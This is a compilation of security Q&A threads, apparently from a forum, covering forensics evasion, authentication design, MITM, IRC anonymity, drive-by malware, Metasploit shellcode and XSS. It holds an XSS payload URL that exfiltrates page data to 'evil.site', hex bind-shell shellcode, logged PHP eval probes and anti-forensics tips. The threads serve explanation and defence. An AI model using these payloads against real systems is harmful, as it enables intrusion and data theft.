Can a virtual machine be used instead of the host? I was thinking of using a Debian guest as my main 'host' instead of my actual host (Ubuntu).

Do you think this will have any advantages in terms of making it difficult for digital forensics to recover the files that are in the guest OS?

The only encryption used in the Guest OS is encfs. Also the network is bridged. I don't plan on doing anything hardware intensive, just some Internet browsing and reading some PDFs.

If you think this is a bad idea or not worth it, could you recommend what I should do to keep someone in computer forensics from finding any deleted files or files for that matter? The host is also encrypted using encfs, and the virtualization software I use is Virutalbox.

Yes it is possible but unnecessary in your case.

People often use VMs to isolate potentially malicious applications from their main host and to have some sort of rewind button to restore the VM to a previous state in case something goes wrong in there, but looks like that's not what you want to do.

To defeat forensics all you need is full disk encryption with a strong key (long passphrase or key file), which will be impossible to defeat if done correctly; note that I said forensics and forensics only, if you're dealing with someone that can alter your machine while you leave it unattended (evil maid attack) you'll need to look into sealing your key into a TPM which will only unseal them if the machine hasn't been altered (on Linux there's TrustedGRUB which appears able to take advantage of a TPM but I didn't try it).

Your solution is a disaster both in terms of performance (you do encryption two times, both on the host and in the guest, 2x more overhead with only marginal security gain) and usability (as I said earlier, you can get the same security while getting native performance using full disk encryption).

As for deleting sensitive files on an unencrypted partition, you can use shred which overwrites the file multiple times, note that using it on an SSD is most likely counter-productive since the SSD's controller will write the new data on a different block of memory and not overwrite the same one, so in the end you'll only wear out your SSD faster; also note that while the file itself may be destroyed, your OS may keep fragments of the file or even the entire file somewhere else for other purposes, photo thumbnails for example; but none if this is necessary if you use full disk encryption assuming your key stays secret.


"Forgot my password page" best practice On a "forgot my password" page, is appropriate when user doesn't have an account to display the message "this account doesn't exist"? Or in the interest of security, should I display a success message ("you received an email with a reset password process") even if no email was sent?

The answer to this depends on the nature of the site.  I actually think the UX benefits of telling them if the information provided was correct or not, but only if it doesn't impact security.

There are plenty of sites where you are able to enumerate usernames is multiple ways, and they are that way by design.  For example, if you wanted to enumerate Twitter usernames, you could easily do so by seeing if the user's page were available at http://www.twitter.com/username.  Even if that wasn't possible, Twitter provides a nice little API for accessing lists of users.

However, this obviously doesn't work for a site that is even slightly sensitive in nature.  If your site falls in this category and there is no other way to enumerate usernames/emails, then follow your instinct and give the generic message that you will send an email.


SAML Assertion to Windows Identity (Kerberos token?) transformation This is the scenario I need to cover:

A WebService that trusts on an IdP using Ws-Trust or any thing like that, receives a SAML token to authenticate the user, and we need to call some SQL Server or any kind of service that uses windows integrated auth and we need to forward the same identity of the calling user.

Is there any solution for this? I know that a couple of years ago .NET platform had some SAML2Kerberos or something like that, but I think it was deprecated...

The issue is that you're needing to translate a SAML identity to an identity provided by Active Directory, and Active Directory doesn't understand SAML. That's where the C2WTS service came into play. It's not deprecated, but is frowned upon using because it allows impersonation of any user assuming you've given the service account enough rights to do so, and those rights basically give you root equivalent.

You can either use that service, which is probably the preferred option, or you can build your own mechanism that calls into the Windows subsystem for impersonating users. Something along the lines of this: https://stackoverflow.com/questions/559719/windows-impersonation-from-c-sharp.


Avoiding MITM attacks when using HTTPS over mobile There are a variety of other questions that address elements of this security issue, but none that seem (to a non-expert) to address the substantial core of the issues raised in this article:

Tinder's privacy breach lasted much longer than the company claimed

From a mobile perspective, what are the correct steps the company should have taken to prevent, other than using a CA-issued SSL certificate?

General SSL-related answer: To do SSL (HTTPS) securely, the really important point is that the client system (smartphone, PC... it does not matter) can make sure that the server public key it is using for the SSL handshake is really the genuine one from the intended server. CA-issued certificates are about that, really. Without a validation of the server public key of some kind, MitM attacks are possible. Otherwise, they are not (unless the client and/or server implementation goofs up, but that's another matter).

With certificates, the MitM attack can work only if the attacker can get a fake certificate, with the genuine server name but the attacker's public key in it, from a CA that the client trusts. Incidents with fake certificates being issued are rare (we hear about one such incident per year). Much more often, a gullible user decides to disregard the scary warning from his browser, and clicks through it. If you pay heed to your browser warnings, you should be fine.

Unfortunately, a lot of SSL connections are not between a Web browser and a server, but between an application and a server, and it is up to the application to not do the stupid click-through-warning (metaphorically). There has been a lot of reports of application who do not check the server certificate properly, or at all. This is app-specific and, as a user, this is hard to check.

About Tinder: none of the above applies to the issues described in the article you link to. Apparently, Tinder runs a dating service, with customer running a specific app on their phone; the app talks to a central server. The central server then computes "possible encounters", i.e. warns customers about the nearby presence of other customers with whom romantic compatibility is heuristically estimated to be above average.

It so happens that the dialog between the app and the server involves the server telling the app a lot about other customers -- actually a lot more than should be needed for the described service, including leaking Facebook IDs and other similar information. The app user interface won't show it, but a custom application could obtain such data from the server and record it.

SSL would have done nothing for or against this privacy issue. Maybe they are using SSL; it does not matter. The problem is that the server leaks too much private information to whoever asks for it. A MitM attack is relevant only when the attacker tries to intercept a data transmission containing data that an authorized client may legitimately obtain, but attackers should not; here, the client should not be able to obtain the information in the first place, and that is the problem the article talks about.


How can I trust a mobile app? Nowadays we are putting a lot of trust in mobile apps in order to survive in a globalized society. We are even under a kind of peer pressure which madly drives us to use these new applications. One may even say that everyone does, so why shouldn't I! But what if the backend server leaks/discloses our confidential data (e.g. social security number, credentials, etc) and a malicious person takes advantage of it (which might even threaten our safety).

I'm wondering if there has been any research with respect to the safety and security issues of mobile apps and whether a technical solution exists. Can a third party guarantee the safety/security issues?

A relevant base of the level of trust of an app can be how much of your phone does it needs to access. Some apps require very little access and can do a lot of useful stuff. Some require only needed access, like a flashlight app needing camera access, but many also abuse wanting access to way more than they actually need. It would be illogical for a flashlight to access a lot more functions in the phone except the camera itself.
Another relevant thing is how much spam does it produce. Generally, this is a reason I don't personally trust many apps. They keep spawning pop-ups. Some keep spawning them even if they are paid versions; they just spam something different (like other info about other apps from the same company).
There is no third party guaranty for safety or privacy. If an app gets access, it can do whatever it wants with that access and it's way harder to trace that compared to a PC system, unless it is controlled strictly by another app, which usually is not the case (I find the 3rd party control apps are not advanced enough yet).
The solution for some security is an app that can limit the control of other apps. While most of them can just pass-lock access to apps, some are more advanced and require root privileges. In the case of root access, such an app should be mandatory, since on root mode the other apps can take over phone functions much more deeply and easier. This is the 3rd party way to be a little safer, but not close enough to what I would like at this point.
There is then also the problem of commodity. The more advanced an app-control app is, the more inconvenient it will be to use. You will have to find a good balance between the security part and the convenience part.
My approach to this was to install a bunch of apps on a test device, use them for a while just to see how things go, then keep only the ones that proved to be safe, proved to be reliable and did not ad-spam me. This is valid also for the control app.


How is Facebook's new delegated recovery more secure than a traditional recovery system I was reading through the delegated password recovery process introduced by Facebook.

I am trying to relate the whole process with traditional password recovery mechanisms (i.e., sending a reset password email to the connected mail and and the user has the option to either click the link and reset the password from there or he can copy paste a one time token to verify the email and then reset the password).

I was thinking that Facebook's delegated recovery does almost the same. Instead of email, the user is supposed to authenticate with Facebook. Instead of sending the reset password url/one-time-token, here, Facebook will send back the token associated with that account. So from my understanding, the whole email verification process is automated by Facebook to Delegated recovery.

In that case what added security does delegated recovery provide? I agree the MiTM attacks against email part. Other than that, how is this more secure than conventional methods?

Pros:

The recovery provider might have two/multi factor authentication.

-> might be more secure than your email provider

When your email account is hacked and an attacker takes over your account at an account provider you can recover it.

Cons

You have to trust your recovery provider
If someone gets access to your account at the recovery provider the person is also able to get access to your other accounts

Summary

You should only use delegated recovery when the following conditions are met:

you trust the recovery provider
the recovery provider provides more secure authentication, e.g. two factor authentication

Possible solution for better security

An account provider may provide a recovery system where you have to access multiple recovery providers to proof your identity, e.g. facebook and stackoverflow.


How is IRC so secure/untraceable that hackers and pirates use it to communicate? What is so special about IRC that hackers use it to do online meetings, ignoring every other option, like messengers or social media?

It seems to be very secure that it gets used to send commands to victim's computers instead of just sending them directly (called a "botnet", right?)

In addition to Rory's points...

Internet Relay Chat is actually incredibly insecure

I don't think IRC is in any way secure by default. Almost all servers utilize communication through plaintext. Your ISP can snoop on the contents easily. All of your messages, in general, are unencrypted. You have to install addons to enable encrypted communications, if they're even done right.

Even if the server itself encrypted the messages/uses SSL, it's a moot point: everyone can connect and read what you're saying unless you encrypted it on your end. IRC admins can read your private messages as well.

The vast majority of servers I've visited also expose your IP Address to everyone unless you're behind a proxy or VPN, so there's no real anonymity. Even the ones that partially mask your IP will show part of where you are. For example: Random432342.hsd1.ca.comcast.net. While other servers will block everything, all IRCops/admins know the real IP you're connecting from. What's to stop them from cooperating with law enforcement?

Your IRC client could also be vulnerable to buffer overflow attacks / string formatting vulnerabilities / etc. Or maybe you'll just click on a drive-by-download link...

Does true anonymity exist on IRC?

Some people have a different definition of anonymity than me. Rory's definition is correct in the context of being anonymous to most people, but that's not the definition I subscribe to. For me, anonymity is being anonymous to everyone, no matter what.

How do you think people keep getting busted even though they're "behind 7 proxies"? If you're behind a proxy/vpn, you're still communicating with the IRC server. Your proxy/VPN is connected to that IRC server, and you are connected to that proxy/vpn server at a specific time.

Once you send text, whether it's encrypted or not, all law enforcement really needs to do is line up timestamps, even if it's encrypted. Lag delay? Yeah, that's very easy to account for. Soon, a very clear pattern will emerge, and your entire proxy/VPN chain will be quickly unraveled to the source.

How can they do that? XKeyscore, Prism.

Right now, true anonymity doesn't really exist on IRC.

But Mark Buffalo, I've never been caught!

They either don't care about you because you're a small fry who doesn't matter, or they're slowly building up a case to get you on maximum charges. Or you're simply out of their jurisdiction, but they're still ready to pounce.

Maybe this "security" is actually a jurisdiction issue?

I think part of the confusion here is jurisdiction. Jurisdiction can offer tremendous security if there's a refusal to co-operate. This is why many criminals may still be around after "getting caught."

If you're in another country which refuses to cooperate with the law enforcement of another country, you might be safe from prosecution, but you'll probably still be indicted on charges. So as long as you never enter that country...


Do multiplatform viruses exist? Is there any known virus that targets the main operating systems: Windows, Linux and Mac OS X?

Most drive by malware downloads first start out with javascript. A quick search shows this as a good simple example:

var OSName="Unknown OS";
if (navigator.appVersion.indexOf("Win")!=-1) OSName="Windows";
if (navigator.appVersion.indexOf("Mac")!=-1) OSName="MacOS";
if (navigator.appVersion.indexOf("X11")!=-1) OSName="UNIX";
if (navigator.appVersion.indexOf("Linux")!=-1) OSName="Linux";
document.write('Your OS: '+OSName);

Once the OS is determined (more likely with more detail), javascript can also detect versions of plugins such as Java, Flash and Silverlight (in order of preference from what I've seen). These 3 plugins are targeted because they provide a layer between the OS and the malicious code the javascript will then force the browser to download, which means the exploit doesn't have to be concerned with exploit techniques such as DEP or ASLR.

If, for example, Java 7 update 1 was detected, the malicious javascript may direct the browser to download a java exploit (a jar file) based on CVE-2012-1723, which affect Java 7 update 4 and earlier. Once the browser downloads the jar file and runs it, java.exe takes the downloaded code and executes it in a sandbox. The exploit takes advantage of CVE-2012-1723 to break out of that sandbox, letting it interact with the OS directly. Since java's capabilities are limited compared to a natively running binary, the malicious jar file will detect the specific OS version, and download a binary specific for that system (an exe for windows, linux binary for debian, ect). This downloaded and executed exe is just a program at this point, it doesn't have to worry about ASLR or other protections as it's not actually exploiting anything, it's just running.

To answer your specific question, there isn't a virus binary that will run cross platform, the above scenario using cross platform technology (flash and java primarily) is the closest thing I know of.


Metasploit generating strange shellcode So I just used metasploit to generate the payload/linux/x86/shell_bind_tcp payload without null bytes (generate -t raw -b '\x00' -f shellcode). Here's the shellcode:

$ xxd -p shellcode
dbddd97424f45e33c9bf0e0f5844b114317e1983c604037e15ecfa699f07
e7d95cb482dfebdbe386269b5f19ebf35da51a5f08b54d0f455407c90d5a
589cef60ea9a5f0ec122dc7fbfef63ec19855c4b57d9ea129fb1c3cb2c29
743bb1c0eacad642a045f9d24d9b7a

And here's what objdump thinks the shellcode is:

$ objdump -D -b binary -m i386 shellcode

shellcode:     file format binary

Disassembly of section .data:

00000000 <.data>:
   0:   db dd                   fcmovnu st,st(5)
   2:   d9 74 24 f4             fnstenv [esp-0xc]
   6:   5e                      pop    esi
   7:   33 c9                   xor    ecx,ecx
   9:   bf 0e 0f 58 44          mov    edi,0x44580f0e
   e:   b1 14                   mov    cl,0x14
  10:   31 7e 19                xor    DWORD PTR [esi+0x19],edi
  13:   83 c6 04                add    esi,0x4
  16:   03 7e 15                add    edi,DWORD PTR [esi+0x15]
  19:   ec                      in     al,dx
  1a:   fa                      cli
  1b:   69 9f 07 e7 d9 5c b4    imul   ebx,DWORD PTR [edi+0x5cd9e707],0xebdf82b4
  22:   82 df eb
  25:   db e3                   fninit
  27:   86 26                   xchg   BYTE PTR [esi],ah
  29:   9b                      fwait
  2a:   5f                      pop    edi
  2b:   19 eb                   sbb    ebx,ebp
  2d:   f3 5d                   repz pop ebp
  2f:   a5                      movs   DWORD PTR es:[edi],DWORD PTR ds:[esi]
  30:   1a 5f 08                sbb    bl,BYTE PTR [edi+0x8]
  33:   b5 4d                   mov    ch,0x4d
  35:   0f 45 54 07 c9          cmovne edx,DWORD PTR [edi+eax*1-0x37]
  3a:   0d 5a 58 9c ef          or     eax,0xef9c585a
  3f:   60                      pusha
  40:   ea 9a 5f 0e c1 22 dc    jmp    0xdc22:0xc10e5f9a
  47:   7f bf                   jg     0x8
  49:   ef                      out    dx,eax
  4a:   63 ec                   arpl   sp,bp
  4c:   19 85 5c 4b 57 d9       sbb    DWORD PTR [ebp-0x26a8b4a4],eax
  52:   ea 12 9f b1 c3 cb 2c    jmp    0x2ccb:0xc3b19f12
  59:   29 74 3b b1             sub    DWORD PTR [ebx+edi*1-0x4f],esi
  5d:   c0 ea ca                shr    dl,0xca
  60:   d6                      (bad)
  61:   42                      inc    edx
  62:   a0 45 f9 d2 4d          mov    al,ds:0x4dd2f945
  67:   9b                      fwait
  68:   7a                      .byte 0x7a

This link also gives a similar disassembly: http://www.onlinedisassembler.com/odaweb/x1SSxJ/0

I might be wrong, but this shellcode seems strange. First of all, it doesn't work, but that's not enough to show that it's wrong. The second issue is that objdump says (bad) near the bottom, which probably means the assembly is wrong. The final thing is that I have no clue what it's doing after reading the assembly. Generating the shellcode for this same payload with null bytes gives correct, readable assembly. I don't think removing null bytes can add this much complexity to the shellcode.

Did I do something wrong? If not, can someone explain how the shellcode works?

Alright, I've gotten some answers from asking in the IRC channel.

When you use -b, the shellcode is encoded to avoid the bytes specified. The decoder is attached to the beginning, and that code is actually readable and makes sense. This specific decoder apparently does something with XORing bytes in the shellcode, which explains why the shellcode looks like garbage when disassembled (they're not actually instructions). Also, stepping through the shellcode with GDB often will not work because GDB will replace the next instruction with 0xCC, or a breakpoint. This means the decoder will XOR the wrong bytes, causing the program to crash.

The shellcode is actually correct and I've gotten it to work for my exploit.


How facebook knows my new password is too similar to my old password? I am still very new to Information Security field and as far as I know, websites use hashing algorithm on user's passwords before storing it and they don't know the plain-text password of a user.

Today, I tried to change my Facebook password but I got this error,

Even I don't remember my old password so how could facebook know what was my old password ?

We do not know how exactly Facebook manages user passwords, however, we can imagine this scenario:

A new user logs into his Facebook account using the password: Password1. It is likely that, immediately, Facebook generates similar passwords such as: Passw0rd1. pAssword2, Passmord1 ...etc.

Facebook then stores their respective hashes (which are different, of course) so that if a user user types his password (after reset), the hash of the new password is compared to all these stored hashes: Facebook can tell you then if your new password is similar to the previous one or not.

EDIT:

Following @Philipp comment saying  Facebook does not hash passwords, I want to share this information that I quoted from the official Facebook documentation (Keeping Passwords Secure):

  We hash each password using our internal password hashing algorithm
  and the unique salt for that person. Since Facebook stores passwords
  securely as hashes, we can't simply compare a password directly to the
  database. We need to hash it first and compare the hashes.


When connecting to a VPN Provider, do other connected users pose a threat? TL;DR: Can other users connected to a VPN Provider exploit my computer or information?

I usually use a VPN service when connecting to the Internet. The provider is a private company whose business is providing "integrity services".

As I understand it, a VPN can be seen as a secure solution when accessing networks in public spaces. In my case the risks are quite the opposite – I'm at home connecting to a pretty much unknown VPN network.

What are the risks associated with this? More specifically, is there a practical risk that other users connected to the VPN can gain access to or exploit my computer in any way?

FYI, this is what the company states regarding its security:

AES-256-CBC encryption of traffic behind a 2048 bit Diffie-Hellman key.
OpenVPN protocol
Private DNS servers
No logging
Physical security

When you use a VPN provider, you need to trust that they have properly configured their servers. If they have not, there can be additional risk posed by other users of the service. For example:

Client-to-client visibility: OpenVPN (and likely other VPN software) has a client-to-client option that can be enabled on the server. This allows everyone using the VPN to "see" everyone else connected to the same VPN. If this feature is enabled, it could allow increased visibility of your system to an attacker or other malicious user.
DNS monitoring: You mentioned that your VPN provider has their own DNS servers. There is some additional risk of DNS based attacks. Or, if caching is enabled, potential fingerprinting of websites that other users have visited.

This is not an exhaustive list of vulnerabilities, but it should give you an idea of the risks if your provider's servers are slightly misconfigured. You can use this information to better reason about whether you need a VPN.


Can I reclaim ex employee gmail account? This is the best place in SE I can find to post this.

We have an ex employee who created a gmail account for work purposes that looks like staff_name.company_name@gmail.com

He left the company and refuses to surrender the password to the account. Do we, the company, have the legal rights to stop him from using the account? Or do we have to wait until he actually intentionally misrepresent our company before we can take action against him?

EDIT:

This email account came about because he is one guy who travels around. At one time when he needed to send an important email, he could not access his fname.lname@company.com email. So he went ahead to create that gmail account to finish the job. Since it was an important email that had to go out, nobody frowned upon that and the gmail account continues to be in use. Now that things turned sour, we realized we could not do anything.

Maybe the moral of story is: His dedication to service excellence was admirable, but we should not allow it to happen at the expense of IT security.

Do we, the company, have the legal
  rights to stop him from using the
  account?

(Sigh) I'm beginning to recommend lawyers a lot, but this is one of the scenarios where they will help. [Disclaimer: I am not a Lawyer, and this is not legal advice] I'm not sure what the laws are in your jurisdiction, but this appears to be a case of withholding one of the following

access to the account; this point is not cut and dry. If the employee created this account for a one-off scenario, then it depends on the laws of the land (and the interpretation) of the courts, as to how this account could be treated as belonging to the company due to its prolonged use.
work created for hire or any other materials that belong to the company (if it is resident in that account). If you do have an employment agreement that stipulates how the company owns any material created on company time, along with an agreement that also stipulates how such materials ought to be relinquished by employees on resignation, then a lawyer would be able to aid in your next course of action.

Ultimately there ought to be applicable laws for this scenario and my advice in earnest, is to speak to your lawyer on this.

More importantly, I think you ought to establish procedures for handling termination of employment. If they do not exist, establish them. But stating what measures ought to be established, is probably beyond the scope of IT Security or Application Security.

However, there are few points where your IT department (if it exists) can help. Critical accounts (e-mail accounts, NTLM/Kerberos accounts and others like your accounts with Domain Registrars) should ideally have a fail-safe mechanism to ensure that you can regain control of the account, or terminate access to the account if no longer required. In some cases, this would mean that you would have to run your own software (like an Outlook Exchange or Postfix/SendMail server, instead of relying on GMail). In other cases, it would mean that you should have access to a human being on the other side, who can immediately revoke/expire access to compromised accounts or reset passwords to them (to prevent further access by unauthorized people).


IDS/WAF scenario for 2 web servers I'm running 2 web servers on 2 different physical hosts at home. They handle both HTTP and HTTPS traffic. I want to protect against web application attacks, but don't want to spend money for additional hardware.

A network IDS is not a possibility because additional hardware is needed. Furthermore, network IDS are having problems with encrypted traffic (HTTPS). In this case, I propose to install and configure 2 host-based IDS on both web servers. Another possibility would be 2 Web Application Firewalls embedded on both web servers. They are easy to add (no changes to network configuration needed) and no additional hardware is required. IDS are clearly monitoring/blocking systems that recognize some web based attacks, but are not specialized at web traffic. My final recommendation is to use embedded WAFs.

Is an embedded WAF the right choice for this scenario?

Yes, if your threat model says that you should be worried about only web application attacks, putting WAF (modsecurity etc) is ideal when no network config changes are desired.


Is using Kali Linux in corporate enviroment safe? Does Kali Linux contain audited software which is designed to aid security and basically does not contain any backdoors?

Is this some sort of professional software or compilation of various tools from non-professional background?

Should I be using Kali Linux or should I use something else like Metasploit?

Does Kali Linux have history of having some backdoors or would it allow some 3rd party to access audited systems?

Kali is a community-built distro full of security tools from both organisations and individuals. It is not designed to be used as a day-to-day operating system. It's a quick-start, throw-away distro for security testing.

Metasploit and Kali Linux are entirely different things. In fact, Metasploit is installed on Kali by default. I suggest you read up on what they do and how, to better understand their function.

As far as I know, Kali has never had any explicit backdoors. The tools themselves, like any other software, have had security issues along the way. This is normal.

If you want reassurance, I work as a pentester, and pretty much everyone on my team has a Kali VM installed on their testing system. The same goes for every pentester I know in other companies.


How can I implement DVD copy protection? I want to make a DVD movie which will be playable on a standard DVD player, but I want to make it copy restricted.

I know it is practically impossible, but I just want security to protect it from  normal users, not from high end software pirates. Any software freeware/shareware will help me.

If your DVD can be read by a standard DVD player then it can be read by a standard DVD player. This implies that it can use only that which is supported by standard DVD players, i.e. CSS, which is hopelessly weak.

You would have better luck with AACS as used in Blu-ray disks. What AACS tries to achieve is still "impossible" in theory, but in practice copying a Blu-ray disk or extracting its contents requires some hardware which costs more than 40$ at the nearest electronics shop. If the contents of your disk are interesting in some way, there will come a time when some people will find it fit to invest some effort in extracting them, but you might hope for a few weeks or even months of respite before this event.


Mass account lockout prevention using CSRF tokens I'm currently working on reducing the risk of mass account lockout on a site that (unfortunately) issues sequential, numeric user IDs.  Changing the structure of the userID is not an option at this point.

I've looked at a few options (CAPTCHA, Restrictions on login attempts per IP).  One think I am thinking about is the use of an anti-CSRF token on the login page, requiring an attacker to load the login page (and get the token) prior to any login attempt.  This would probably be combined with a delay before the token would be accepted (several seconds, the time taken for a regular user to enter login details).

This would not prevent lockout, but it would slow down the rate of attempts, and slightly increase the complexity of performing the lockout.   Has anyone seen this used before?  Would it really work?

I personally never saw something like this implemented, but why don't you set up a time increasing failed login ?

For example, after three unsuccessful login, you block the login for this account for, say, 30 seconds. After the 30s, if the 4th login is still unsuccessful, you stop it for 1min, then 5min, and you increase more and more.

This won't affect your real users (you generally don't fail 3 times if you remember your password, and if you don't, you go to the "Lost my password" process), and robots will fail using a brute force attack.

Now, the CSRF idea is interesting for forcing your user to get the token, but if I build a robot, I still can simulate a GET request to the login page, parse the HTML and get the token, to then use it for a POST combined with the credentials. The only limitation you suggest here, is the wait between the generated token and the submitted form (and this could hurt your users that are fast writers).


How do I know if my email account has been hijacked? A few times now, I've received emails from contacts with subjects along the lines of "hi!" and message bodies of only a link to some website. I've checked the ip of the sender of these emails, and it's always a verified sender from their email provider. My assumption here is that something found their password and is using it to log in and send emails from their email provider.

I have always assumed my passwords are secure and that, were emails to be sent from my address, I would see them in the "sent" folder. I hadn't put much thought into that idea, so it only occurred to me today that the spambot could just delete the email from the sent folder.

How do I know if my email account's password has been compromised and is being used to send spam emails?

Generally speaking I don't believe there will be an easy foolproof way of detecting whether or not you've been sending out messages given the access you typically have to a web based system (be it Yahoo, Gmail etc). If you had access to the server certainly you could through logging, but not with the information given to us via these clients.

Here are some suggestions through.

Keep an eye on your login IP's if your client provides the capability of doing so. This can flag an attacker logging in from a location you've never been, hence raising the possibility of being compromised.
Education - ask your friends / family to alert you to any strange messages such as the ones you've recieved in the past. The majority of the time I imagine if you're getting this stuff sent out you'll get a few replies from people going "Huh?"
If you really wanted to you could create a honeypot email. Go sign up for some random email  and place it no where else but your contacts in your email. An attacker would almost certainly send messages to everyone in your contact list, not knowing who is legitimate and who isn't. If Mr Smith recieves an email from you, you know your account has been compromised.
Prevention is the best cure, make sure you'll changing passwords regularly and avoiding using the same password at multiple sites.


Deeplinks in email that autologin I'm wondering if a deep link in an e-mail that automatically authenticate even though the session is expired is GDPR compliant. For instance if I send an e-mail to a user with links to the internal website, containing content available only after login, and the session is expired, the user has logged out or purged cookies, can I show the content anyway (like when the user is still logged in) or shall I show the login page first and display the content after the user successfully authenticate? In terms of UX it is better but I am not sure about the security concerns it can cause or if it is non-compliant with GDPR regulations.

Regarding GDPR compliance, you're not violating the registered persons rights by displaying otherwise restricted content for authenticated users - that is, unless the information you display contains personal identifiable information, like the individuals health information, home address etc. Personal information must be kept secure and not disclosed to someone else beside the individual in question, unless there is explicit consent from the user or you have legal basis to do so.

In regards to security concerns I would personally never allow that on a site containing non-public information.
In your example with the e-mail link it might be alright, if:

The user has to register to receive a copy of your e-book
The user receives an email
In the e-mail there is a link which gives the user access to the e-book without authenticating first.

But if you instead:

Let the user register for a health insurance policy
sends an e-mail to the user about their sign up
The e-mail contains a link which leads to your site with their health information

You would not be able to ensure that this health information is not disclosed to someone else which could mean a violation of GDPR. Authentication processes can be made very smooth nowadays, so I don't see a reason not to require login from the user before letting them access restricted content.
If you're in doubt I would raise this with someone from the legal department in your company.


Creating a unique password for each device My team is currently working on an IoT product and we're having some issues thinking about a good way to create a unique password for each device.

Each device runs on GNU/Linux and we have an application that generates an image for every device we ship. This application is written mostly in bash.

Since each device has a unique serial number we thought about using it as part of the password generation, maybe as a seed.

Any suggestions?

Why not make the user create a password when the device is booted for the first time? Or you could also create a random password for each device.


XSS risk for an application which can be accessed from localhost only I have an web app which can used via an browser. The web app can be accessed on localhost only. No remote access is possible. A security tool discovered an XSS issue. Now if this web app is works only localhost, then how can one exploit this XSS issue ? My guess is that only a local user can exploit this issue.

Yes, it's an issue.

The entire point of an XSS is to send a user to a crafted URL that exploits the bug on that user's browser. If an attacker knows an XSS exists, he could craft an XSS URL and send it to a target user, and that user would be able to access the localhost domain.

For example, say there's a page called /viewitem which takes a parameter name, which is vulnerable to XSS:

http://localhost/viewitem?id=123&name=n<script>alert(document.cookie);</script>

He sends you that link. You click it, and suddenly you're greeted by an alert box containing the cookies for the page. In reality, he'd post the cookie value off to a 3rd party site, and he's stolen your cookies! In this case he can't actually access the site, so it's a moot point.

However, depending on the configuration of the site, he may be able to exfiltrate data from the viewitem page too. For example:

http://localhost/viewitem?id=123&name=n<script>var ver=document.getElementById('version').innerHTML;document.location.href='http://evil.site/steal?ver='+encodeURIComponent(ver);</script>

If you've got an element with the id version, the above URL would extract its contents and send it to a 3rd party page, thus informing the attacker of the version of your software. This trick could be extended to steal other private information on the page, or use Ajax to fetch other content from the localhost domain.


Is using full TLS suite in all communication scenarios a defacto standard? Its usually recommended that 'don't use your own system of Crypto' rather use standard SSL/TLS! I understand that SSL/TLS is a complete protocol suite that addresses all three elements of CIA triad.
What if I need to use a subset of CIA, say I just need Authentication and Data Integrity. In such a cases isn't using full SSL/TLS is an overkill?
Is it possible to use a tailored down or lighter version of TLS suite for scenarios where say I don't need Integrity (basically to get some performance mileage)?
OR its always a best practice to use TLS in full suite for securing a communication?

Strictly speaking, TLS already supports what you're asking about. There are "null cipher suites" - that is, TLS cipher suites that have no ("null") encryption - that would do what you want. Using one will allow you to use existing TLS libraries and take advantage of all the work and hard thought and lessons learned that has gone into the TLS standard and implementations in major libraries. You can also just use TLS with an AEAD (Authenticated Encryption with Associated Data) cipher - most often AES-GCM (the AES block cipher in Galois/Counter Mode of operation) - and send your data as the "Associated Data" rather than the message contents; the associated data is part of the integrity check but is not encrypted.
However, as several commenters have pointed out, there's almost certainly no good reason to do this. Encryption and decryption with modern algorithms and hardware is very fast - potentially much faster than the network connection the traffic arrives over - and once you have the ability to establish a secure channel, there's no reason to make it less secure than you could. If you're running so extremely close to the performance threshold that the time spent on encryption/decryption is meaningful, some very slightly better hardware is probably a better solution. Also, make sure you're using a TLS library that is built for performance, and that supports AES-NI (AES native instructions, which all modern CPUs support).


What things can the other person see about my phone when I pair it using bluetooth? I need to know some correct information about bluetooth pairing technology. What are the things which becomes visible to the person about my phone when I'm using bluetooth from my phone and pairing it with another phone?
I mean what information does the other person get to see in their phone when I'm pairing my phone with them?

I know a little about it, for instance that my music, images and documents files appears on the other person's phone.
But what other information becomes visible to them? Does my contacts, messages (texts) also appears in their phone?

All information that is available through your phones supported profiles. For modern smart phones this will most likely include:

SIM and device contacts
SMS messages
Your phone uinique bluetooth MAC

If your phone supports advanced bluetooth profiles such as OBEX (all Android phones that I owned so far did not support this out of the box)

Read/Write/Delete files inside of a defined root directory

Many more bluetooth profiles may be implemented on your device, a defintive answer will be totally specific to your model.


What's so special about `eval("z!ax")`? While checking out some error logs for our site, I noticed one odd-looking request that provided many parameters that we don't use:

'q' => 'die(\'z!a\'.\'x\');',
'w' => 'die(\'z!a\'.\'x\');',
'e' => 'die(\'z!a\'.\'x\');',
'r' => 'die(\'z!a\'.\'x\');',
't' => 'die(\'z!a\'.\'x\');',
'y' => 'die(\'z!a\'.\'x\');',
'u' => 'die(\'z!a\'.\'x\');',
'i' => 'die(\'z!a\'.\'x\');',
'o' => 'die(\'z!a\'.\'x\');',
'p' => 'die(\'z!a\'.\'x\');',
'a' => 'die(\'z!a\'.\'x\');',
's' => 'die(\'z!a\'.\'x\');',
'd' => 'die(\'z!a\'.\'x\');',
'f' => 'die(\'z!a\'.\'x\');',
'g' => 'die(\'z!a\'.\'x\');',
'h' => 'die(\'z!a\'.\'x\');',
'j' => 'die(\'z!a\'.\'x\');',
'k' => 'die(\'z!a\'.\'x\');',
'l' => 'die(\'z!a\'.\'x\');',
'z' => 'die(\'z!a\'.\'x\');',
'x' => 'die(\'z!a\'.\'x\');',
'c' => 'die(\'z!a\'.\'x\');',
'v' => 'die(\'z!a\'.\'x\');',
'b' => 'die(\'z!a\'.\'x\');',
'n' => 'die(\'z!a\'.\'x\');',
'm' => 'die(\'z!a\'.\'x\');',
'eval' => 'die(\'z!a\'.\'x\');',
'enter' => 'die(\'z!a\'.\'x\');',
'cmd' => 'die(\'z!a\'.\'x\');',
(Other valid parameters redacted)

I have two questions about these parameters:

This request appears to be part of a scripted attempt to determine if our code performs a PHP eval() on supplied parameters. Is there anything special about the string z!ax? (Besides, of course, being a string that the script can search for in the server's response)
To your knowledge, does this attack/test belong to a larger battery of well-known attacks? If so, I'd like to run the same tests on our application myself to identify any other weak points the attacker may have identified.

Besides, of course, being a string that the script can search for in the server's response.

Thats probably exactly what it is.

  [D]oes this attack/test belong to a larger battery of well-known attacks?

There are countless test suites and bots, and it's quite simple to script your own. If you want to know what this particular one is up to, your best bet is to just look through the server logs.

Since it's trying random query parameters, it's probably just a bot black box testing anything that might work. I wouldn't be to worried about it. If you have a server on the internet, this is what you get.

Your desire to battle test your server is commendable though! Doing some pen testing or scanning on yourself is a great idea. I would not pick the scan based on what I find in the logs, though. Find a tool designed for the language and frameworks you are using.


SQL injection: insert data from Get request I am using the vulnerable web app mutillidae.

There is a webpage where you can view information from a profile but you first need to provide a user and a password. Once you click send, it sends it to a mysql database with this URL:

http//192.168.x.x/mutillidae/index.php
 ?page=user-info.php&username=the_userd&password=the_pass&user-info-php-submit-button=View+Account+Details

